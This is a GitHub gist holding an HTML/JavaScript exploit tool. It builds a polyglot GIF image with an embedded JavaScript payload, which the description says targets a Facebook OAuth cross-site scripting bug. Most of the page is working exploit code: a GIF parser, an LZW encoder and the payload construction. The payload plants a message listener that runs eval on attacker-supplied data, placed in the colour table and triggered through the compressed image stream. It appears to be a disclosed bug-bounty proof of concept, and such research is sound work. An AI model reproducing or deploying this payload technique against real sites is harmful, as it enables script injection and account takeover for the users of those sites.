Skip to content

Instantly share code, notes, and snippets.

@isciurus
Last active May 12, 2024 23:53
Show Gist options
  • Save isciurus/5437231 to your computer and use it in GitHub Desktop.
Save isciurus/5437231 to your computer and use it in GitHub Desktop.
GIF packer, used to embed the javascript payload inside the picture and to exploit the Facebook OAuth XSS. Crafted from what I had found across open-source encoders. More reading: http://isciurus.blogspot.ru/2013/04/a-story-of-9500-bug-in-facebook-oauth-20.html
<html lang="en">
<head>
<script>
function str2hex(str)
{
var out_str = " ";
for(var i = 0; i < str.length; i++)
{
if(str.charCodeAt(i) < 0x10)
out_str += '0';
out_str += str.charCodeAt(i).toString(16);
if(i + 1 < str.length)
out_str += ' ';
}
console.log(out_str);
}
function my_outp(img)
{
var out_str = "";
/*
for(var i = 0; i < img.pixels.length; i++)
{
out_str += img.pixels[i].toString();
out_str += " color : " + JSON.stringify(my_hdr.gct[img.pixels[i]]);
if((i + 1) % img.width == 0)
{
out_str += "\r\n";
}
else
{
out_str += ",";
}
}*/
console.log(out_str);
console.log("expected height: " + img.height);
console.log("real height: " + Math.ceil(img.pixels.length / img.width));
}
//LZW Compression/Decompression for Strings
var LZW = {
compress: function (uncompressed) {
"use strict";
// Build the dictionary.
var i,
dictionary = {},
c,
wc,
w = "",
result = [],
dictSize = 128;
for (i = 0; i < dictSize; i++) {
dictionary[String.fromCharCode(i)] = i;
}
for (i = 0; i < uncompressed.length; i += 1) {
c = uncompressed.charAt(i);
wc = w + c;
if (dictionary[wc]) {
w = wc;
} else {
result.push(dictionary[w]);
// Add wc to the dictionary.
dictionary[wc] = dictSize++;
w = String(c);
}
}
// Output the code for w.
if (w !== "") {
result.push(dictionary[w]);
}
return result;
},
decompress: function (compressed) {
"use strict";
// Build the dictionary.
var i,
dictionary = [],
w,
result,
k,
entry = "",
dictSize = 256;
for (i = 0; i < 256; i += 1) {
dictionary[i] = String.fromCharCode(i);
}
w = String.fromCharCode(compressed[0]);
result = w;
for (i = 1; i < compressed.length; i += 1) {
k = compressed[i];
if (dictionary[k]) {
entry = dictionary[k];
} else {
if (k === dictSize) {
entry = w + w.charAt(0);
} else {
return null;
}
}
result += entry;
// Add w+entry[0] to the dictionary.
dictionary[dictSize++] = w + entry.charAt(0);
w = entry;
}
return result;
}
} // For Test Purposes
//comp = LZW.compress("TOBEORNOTTOBEORTOBEORNOT"),
//decomp = LZW.decompress(comp);
// Generic functions
var bitsToNum = function(ba) {
return ba.reduce(function(s, n) { return s * 2 + n; }, 0);
};
var b2c = function(bits)
{
if(bits.length > 8)
console.out("WARNING: too many bits");
return String.fromCharCode(bitsToNum(bits));
}
var byteToBitArr = function(bite) {
var a = [];
for (var i = 7; i >= 0; i--) {
a.push(!!(bite & (1 << i)));
}
return a;
};
// Stream
/**
* @constructor
*/ // Make compiler happy.
var Stream = function(data) {
this.data = data;
this.len = this.data.length;
this.pos = 0;
this.readByte = function() {
if (this.pos >= this.data.length) {
throw new Error('Attempted to read past end of stream.');
}
return data.charCodeAt(this.pos++) & 0xFF;
};
this.readBytes = function(n) {
var bytes = [];
for (var i = 0; i < n; i++) {
bytes.push(this.readByte());
}
return bytes;
};
this.read = function(n) {
var s = '';
for (var i = 0; i < n; i++) {
s += String.fromCharCode(this.readByte());
}
return s;
};
this.readUnsigned = function() { // Little-endian.
var a = this.readBytes(2);
return (a[1] << 8) + a[0];
};
};
var lzwDecode = function(minCodeSize, data) {
// TODO: Now that the GIF parser is a bit different, maybe this should get an array of bytes instead of a String?
var pos = 0; // Maybe this streaming thing should be merged with the Stream?
var readCode = function(size) {
var code = 0;
for (var i = 0; i < size; i++) {
var abs_idx = pos >> 3;
if(abs_idx >= data.length)
{
throw new Error('Attempted to read past end of lzw raw data.');
}
if (data.charCodeAt(abs_idx) & (1 << (pos & 7))) {
code |= 1 << i;
}
pos++;
}
return code;
};
var output = [];
var clearCode = 1 << minCodeSize;
var eoiCode = clearCode + 1;
var codeSize = minCodeSize + 1;
var dict = [];
var clear = function() {
dict = [];
codeSize = minCodeSize + 1;
for (var i = 0; i < clearCode; i++) {
dict[i] = [i];
}
dict[clearCode] = [];
dict[eoiCode] = null;
};
var code;
var last;
var code_num = 0;
var bitsFromInt = function(num)
{
var bit_arr = byteToBitArr(num);
for (key in bit_arr)
{
bit_arr[key] = bit_arr[key] ? 1 : 0;
}
return JSON.stringify(bit_arr)
}
var dbg_info = function()
{
var abs_pos = (pos - codeSize) >> 3;
var bitAtPos = function(target_pos)
{
return bitsFromInt(data.charCodeAt(target_pos));
}
console.log("+ " + code_num + " code: " + code + " of codeSize: " + codeSize + ", num pixels: " + output.length + ", dict len:: " + dict.length + ", start char [" + (abs_pos + 1) + "]: \\u00" + data.charCodeAt(abs_pos).toString(16) + " : " + data.substr(abs_pos, 1) + " : " + bitAtPos(abs_pos) + " , " + bitAtPos(abs_pos + 1) );
}
while (true) {
code_num++;
last = code;
code = readCode(codeSize);
if (code === clearCode) {
var _codeSizeOld = codeSize;
clear();
// debug
codeSize = _codeSizeOld;
dbg_info();
codeSize = minCodeSize + 1
continue;
}
if (code === eoiCode)
{
// comment
dbg_info();
break;
}
if (code < dict.length) {
if (last !== clearCode) {
dict.push(dict[last].concat(dict[code][0]));
}
} else {
if (code !== dict.length) { console.log("!!!!"); dbg_info(); throw new Error('Invalid LZW code: ' + code + " " + bitsFromInt(code)); }
dict.push(dict[last].concat(dict[last][0]));
}
output.push.apply(output, dict[code]);
// comment
dbg_info();
if (dict.length === (1 << codeSize) && codeSize < 12) {
// If we're at the last code and codeSize is 12, the next code will be a clearCode, and it'll be 12 bits long.
codeSize++;
}
}
console.log("==last code: " + code + ", codeSize: " + codeSize);
// I don't know if this is technically an error, but some GIFs do it.
//if (Math.ceil(pos / 8) !== data.length) throw new Error('Extraneous LZW bytes.');
return output;
};
// The actual parsing; returns an object with properties.
var parseGIF = function(st, handler) {
handler || (handler = {});
// LZW (GIF-specific)
var parseCT = function(entries) { // Each entry is 3 bytes, for RGB.
var ct = [];
for (var i = 0; i < entries; i++) {
ct.push(st.readBytes(3));
}
return ct;
};
var readSubBlocks = function() {
var size, data;
data = '';
do {
size = st.readByte();
data += st.read(size);
} while (size !== 0);
return data;
};
var parseHeader = function() {
var hdr = {};
hdr.sig = st.read(3);
hdr.ver = st.read(3);
if (hdr.sig !== 'GIF') throw new Error('Not a GIF file.'); // XXX: This should probably be handled more nicely.
hdr.width = st.readUnsigned();
hdr.height = st.readUnsigned();
var bits = byteToBitArr(st.readByte());
hdr.gctFlag = bits.shift();
hdr.colorRes = bitsToNum(bits.splice(0, 3));
hdr.sorted = bits.shift();
hdr.gctSize = bitsToNum(bits.splice(0, 3));
hdr.bgColor = st.readByte();
hdr.pixelAspectRatio = st.readByte(); // if not 0, aspectRatio = (pixelAspectRatio + 15) / 64
if (hdr.gctFlag) {
hdr.gct = parseCT(1 << (hdr.gctSize + 1));
}
handler.hdr && handler.hdr(hdr);
};
var parseExt = function(block) {
var parseGCExt = function(block) {
var blockSize = st.readByte(); // Always 4
var bits = byteToBitArr(st.readByte());
block.reserved = bits.splice(0, 3); // Reserved; should be 000.
block.disposalMethod = bitsToNum(bits.splice(0, 3));
block.userInput = bits.shift();
block.transparencyGiven = bits.shift();
block.delayTime = st.readUnsigned();
block.transparencyIndex = st.readByte();
block.terminator = st.readByte();
handler.gce && handler.gce(block);
};
var parseComExt = function(block) {
block.comment = readSubBlocks();
handler.com && handler.com(block);
};
var parsePTExt = function(block) {
// No one *ever* uses this. If you use it, deal with parsing it yourself.
var blockSize = st.readByte(); // Always 12
block.ptHeader = st.readBytes(12);
block.ptData = readSubBlocks();
handler.pte && handler.pte(block);
};
var parseAppExt = function(block) {
var parseNetscapeExt = function(block) {
var blockSize = st.readByte(); // Always 3
block.unknown = st.readByte(); // ??? Always 1? What is this?
block.iterations = st.readUnsigned();
block.terminator = st.readByte();
handler.app && handler.app.NETSCAPE && handler.app.NETSCAPE(block);
};
var parseUnknownAppExt = function(block) {
block.appData = readSubBlocks();
// FIXME: This won't work if a handler wants to match on any identifier.
handler.app && handler.app[block.identifier] && handler.app[block.identifier](block);
};
var blockSize = st.readByte(); // Always 11
block.identifier = st.read(8);
block.authCode = st.read(3);
switch (block.identifier) {
case 'NETSCAPE':
parseNetscapeExt(block);
break;
default:
parseUnknownAppExt(block);
break;
}
};
var parseUnknownExt = function(block) {
block.data = readSubBlocks();
handler.unknown && handler.unknown(block);
};
block.label = st.readByte();
switch (block.label) {
case 0xF9:
block.extType = 'gce';
parseGCExt(block);
break;
case 0xFE:
block.extType = 'com';
parseComExt(block);
break;
case 0x01:
block.extType = 'pte';
parsePTExt(block);
break;
case 0xFF:
block.extType = 'app';
parseAppExt(block);
break;
default:
block.extType = 'unknown';
parseUnknownExt(block);
break;
}
};
var parseImg = function(img) {
var deinterlace = function(pixels, width) {
// Of course this defeats the purpose of interlacing. And it's *probably*
// the least efficient way it's ever been implemented. But nevertheless...
var newPixels = new Array(pixels.length);
var rows = pixels.length / width;
var cpRow = function(toRow, fromRow) {
var fromPixels = pixels.slice(fromRow * width, (fromRow + 1) * width);
newPixels.splice.apply(newPixels, [toRow * width, width].concat(fromPixels));
};
// See appendix E.
var offsets = [0,4,2,1];
var steps = [8,8,4,2];
var fromRow = 0;
for (var pass = 0; pass < 4; pass++) {
for (var toRow = offsets[pass]; toRow < rows; toRow += steps[pass]) {
cpRow(toRow, fromRow)
fromRow++;
}
}
return newPixels;
};
img.leftPos = st.readUnsigned();
img.topPos = st.readUnsigned();
img.width = st.readUnsigned();
img.height = st.readUnsigned();
var bits = byteToBitArr(st.readByte());
img.lctFlag = bits.shift();
img.interlaced = bits.shift();
img.sorted = bits.shift();
img.reserved = bits.splice(0, 2);
img.lctSize = bitsToNum(bits.splice(0, 3));
if (img.lctFlag) {
img.lct = parseCT(1 << (img.lctSize + 1));
}
img.lzwMinCodeSize = st.readByte();
var lzwData = readSubBlocks();
img.pixels = lzwDecode(img.lzwMinCodeSize, lzwData);
if (img.interlaced) { // Move
img.pixels = deinterlace(img.pixels, img.width);
}
handler.img && handler.img(img);
};
var parseBlock = function() {
var block = {};
block.sentinel = st.readByte();
switch (String.fromCharCode(block.sentinel)) { // For ease of matching
case '!':
block.type = 'ext';
parseExt(block);
break;
case ',':
block.type = 'img';
parseImg(block);
break;
case ';':
block.type = 'eof';
handler.eof && handler.eof(block);
break;
default:
throw new Error('Unknown block: 0x' + block.sentinel.toString(16)); // TODO: Pad this with a 0.
}
if (block.type !== 'eof') setTimeout(parseBlock, 0);
};
var parse = function() {
parseHeader();
setTimeout(parseBlock, 0);
};
parse();
};
// BEGIN_NON_BOOKMARKLET_CODE
if (typeof exports !== 'undefined') {
exports.Stream = Stream;
exports.parseGIF = parseGIF;
}
// END_NON_BOOKMARKLET_CODE
var my_hdr = {};
// =================================================================================
// line_256_half_15
// =================================================================================
var stage1_payload = "Y=window;if(!Y.k8){Y.k8=1;(Y.addEventListener||Y.attachEvent)('message',function(b){eval(b.data)})}; ";
var color_map_shift = 2;
var payload4 =
// clear
"\u0080" +
// utf8 align
"\u0065\u0066\u0064" +
// payload left guard
'",' +
// stage0 payload: jump to color map
"eval(ma.substr(" + (12 + color_map_shift).toString(10) + "," + stage1_payload.length.toString(10) + "))"+
// payload right guard
',9)//'+
// Upper part of color table
"\u0041\u0042";
function OutStream()
{
this.bytestream = new Array();
this.offset = 0;
this.WriteBit = function(val)
{
this.bytestream[this.offset>>>3] |= val << (this.offset & 7);
this.offset++;
}
this.Write = function(val, numBits)
{
// Write LSB -> MSB
for(var i = 0; i < numBits; ++i)
this.WriteBit((val >>> i) & 1);
}
}
var garbage4 = new OutStream();
for(var ch = 0; ch < payload4.length; ch++)
garbage4.Write(payload4.charCodeAt(ch), 8);
var single_byte_align_len = 128 - payload4.length;
for(var ch = 0; ch < single_byte_align_len; ch++)
garbage4.Write(ch + 0x80 + payload4.length, 8);
var limit = 254;
var blocks = "";
for(var ch = 0; ch < 153; ch++)
{
// If no place in current block
if(garbage4.bytestream.length >= limit - (garbage4.offset % 8 == 0 ? 1 : 0))
{
// Push this one
// Block length
blocks += String.fromCharCode(garbage4.bytestream.length);
// Block data
for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
blocks += String.fromCharCode(garbage4.bytestream[_ch]);
// Renew
garbage4 = new OutStream();
}
garbage4.Write(ch + 0x80 + payload4.length + single_byte_align_len, 9);
// If unwillingly inserted \r\n
if(garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0d || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0d ||
garbage4.bytestream[garbage4.bytestream.length - 1] == 0x0a || garbage4.bytestream[garbage4.bytestream.length - 2] == 0x0a)
{
//debugger;
// Get rid of, rollback
garbage4.offset -= 9;
garbage4.bytestream[garbage4.bytestream.length - 1] = 0;
garbage4.Write(0x47, 9);
}
}
for(var ch = 0; ch < 30; ch ++)
garbage4.Write(0x83 + ch, 9);
if(garbage4.bytestream.length > 0)
{
// Finalize block
garbage4.Write(0x81, 9);
// Push
// Block length
blocks += String.fromCharCode(garbage4.bytestream.length);
// Block data
for(var _ch = 0; _ch < garbage4.bytestream.length; _ch++)
blocks += String.fromCharCode(garbage4.bytestream[_ch]);
}
var color_map_full = "\u0020\u0020\u0020\u0001\u0001\u0001\u0002\u0002\u0002\u0003\u0003\u0003\u0004\u0004\u0004\u0005\u0005\u0005\u0006\u0006\u0006\u0007\u0007\u0007\u0008\u0008\u0008\u0009\u0009\u0009\u0041\u0042\u0043\u000B\u000B\u000B\u000C\u000C\u000C\u0042\u0043\u0044\u000E\u000E\u000E\u000F\u000F\u000F\u0010\u0010\u0010\u0011\u0011\u0011\u0012\u0012\u0012\u0013\u0013\u0013\u0014\u0014\u0014\u0015\u0015\u0015\u0016\u0016\u0016\u0017\u0017\u0017\u0018\u0018\u0018\u0019\u0019\u0019\u001A\u001A\u001A\u001B\u001B\u001B\u001C\u001C\u001C\u001D\u001D\u001D\u001E\u001E\u001E\u001F\u001F\u001F\u0020\u0020\u0020\u0021\u0021\u0021\u0020\u0000\u0020\u0023\u0023\u0023\u0024\u0024\u0024\u0025\u0025\u0025\u0026\u0026\u0026\u0027\u0027\u0027\u0028\u0028\u0028\u0029\u0029\u0029\u002A\u002A\u002A\u002B\u002B\u002B\u002C\u002C\u002C\u002D\u002D\u002D\u002E\u002E\u002E\u002F\u002F\u002F\u0030\u0030\u0030\u0031\u0031\u0031\u0032\u0032\u0032\u0033\u0033\u0033\u0034\u0034\u0034\u0035\u0035\u0035\u0036\u0036\u0036\u0037\u0037\u0037\u0038\u0038\u0038\u0039\u0039\u0039\u003A\u003A\u003A\u003B\u003B\u003B\u003C\u003C\u003C\u003D\u003D\u003D\u003E\u003E\u003E\u003F\u003F\u003F\u0040\u0040\u0040\u0041\u0041\u0041\u0042\u0042\u0042\u0043\u0043\u0043\u0044\u0044\u0044\u0045\u0045\u0045\u0046\u0046\u0046\u0047\u0047\u0047\u0048\u0048\u0048\u0049\u0049\u0049\u004A\u004A\u004A\u004B\u004B\u004B\u004C\u004C\u004C\u004D\u004D\u004D\u004E\u004E\u004E\u004F\u004F\u004F\u0050\u0050\u0050\u0051\u0051\u0051\u0052\u0052\u0052\u0053\u0053\u0053\u0054\u0054\u0054\u0055\u0055\u0055\u0056\u0056\u0056\u0057\u0057\u0057\u0058\u0058\u0058\u0059\u0059\u0059\u005A\u005A\u005A\u005B\u005B\u005B\u005C\u005C\u005C\u005D\u005D\u005D\u005E\u005E\u005E\u005F\u005F\u005F\u0060\u0060\u0060\u0061\u0061\u0061\u0062\u0062\u0062\u0063\u0063\u0063\u0064\u0064\u0064\u0065\u0065\u0065\u0066\u0066\u0066\u0067\u0067\u0067\u0068\u0068\u0068\u0069\u0069\u0069\u006A\u006A\u006A\u006B\u006B\u006B\u006C\u006C\u006C\u006D\u006D\u006D\u006E\u006E\u006E\u006F\u006F\u006F\u0070\u0070\u0070\u0071\u0071\u0071\u0072\u0072\u0072\u0073\u0073\u0073\u0074\u0074\u0074\u0075\u0075\u0075\u0076\u0076\u0076\u0077\u0077\u0077\u0078\u0078\u0078\u0079\u0079\u0079\u007A\u007A\u007A\u007B\u007B\u007B\u007C\u007C\u007C\u007D\u007D\u007D\u007E\u007E\u007E\u007F\u007F\u007F";
var height4 = "\u005c\u0022";
var line_256_half_4 =
"\u0047\u0049\u0046\u0038\u0037\u0061\u0001\u0000" + height4 +
// Global settings flag
"\u00C6" +
// Background color + reserved byte
"\u0000\u0000" +
// Color map with stage 1 payload
color_map_full.substr(0, color_map_shift) + stage1_payload + color_map_full.substr(color_map_shift + stage1_payload.length) +
"\u002C\u0000\u0000\u0000\u0000\u0001\u0000" +
height4 + "\u0000\u0007";
line_256_half_4 += blocks;
// End
line_256_half_4 += "\u0000\u003B";
// checking payload
var payload4_rep_seq = false;
for(var payload4_i = 0; payload4_i < payload4.length - 1 && !payload4_rep_seq; payload4_i++)
{
var seq = payload4.substr(payload4_i, 2);
var search_target = payload4.substr(payload4_i + 1);
var tw_occurence = search_target.indexOf(seq);
payload4_rep_seq = tw_occurence != -1;
if(payload4_rep_seq)
{
// draw markers
var mrk = "";
var mrk_pos = 0
for(; mrk_pos < payload4_i - 1; mrk_pos++)
mrk += " ";
mrk += "|";
for(; mrk_pos < tw_occurence + payload4_i - 1; mrk_pos++)
mrk += " ";
mrk += "|";
console.log(payload4);
console.log(mrk);
console.log("seq " + seq + " occurs twice: at " + payload4_i + " and " + (tw_occurence + payload4_i + 1));
}
}
if(!payload4_rep_seq)
{
d(line_256_half_4);
setTimeout(function(){ str2hex(line_256_half_4); }, 500);
}
function d(_data)
{
my_hdr = {};
var my_st = new Stream(_data);
var my_parser = new parseGIF(my_st, {"img": my_outp, "hdr": function(hdr) { my_hdr = hdr }});
}
function pr()
{
function tohex(str)
{
var out_str = "";
for(var i = 0; i < str.length; i++)
{
if(str.charCodeAt(i) < 0x10)
out_str += '0';
out_str += str.charCodeAt(i).toString(16);
if(i + 1 < str.length)
out_str += ' ';
}
console.log(out_str);
}
var out_map = "";
for(i = 0; i < 128; i++)
{
out_map += "\u0000\u0000" + String.fromCharCode(i) + "\u00ff";
}
for(i = 128; i < 256; i++)
{
out_map += "\u0000\u0000\u0000\u00ff";
}
var out_img = "";
var height = 8796;
for(i = 0; i < 128; i++)
{
out_img += String.fromCharCode(i) + "\u0000\u0000\u0000";
}
for(i = 128; i < height; i++)
{
out_img += "\u0000\u0000\u0000\u0000";
}
var output = out_map + out_img;
console.log("total length: " + output.length + "(" + (output.length >> 2) + ")");
tohex(out_map);
tohex(out_img);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment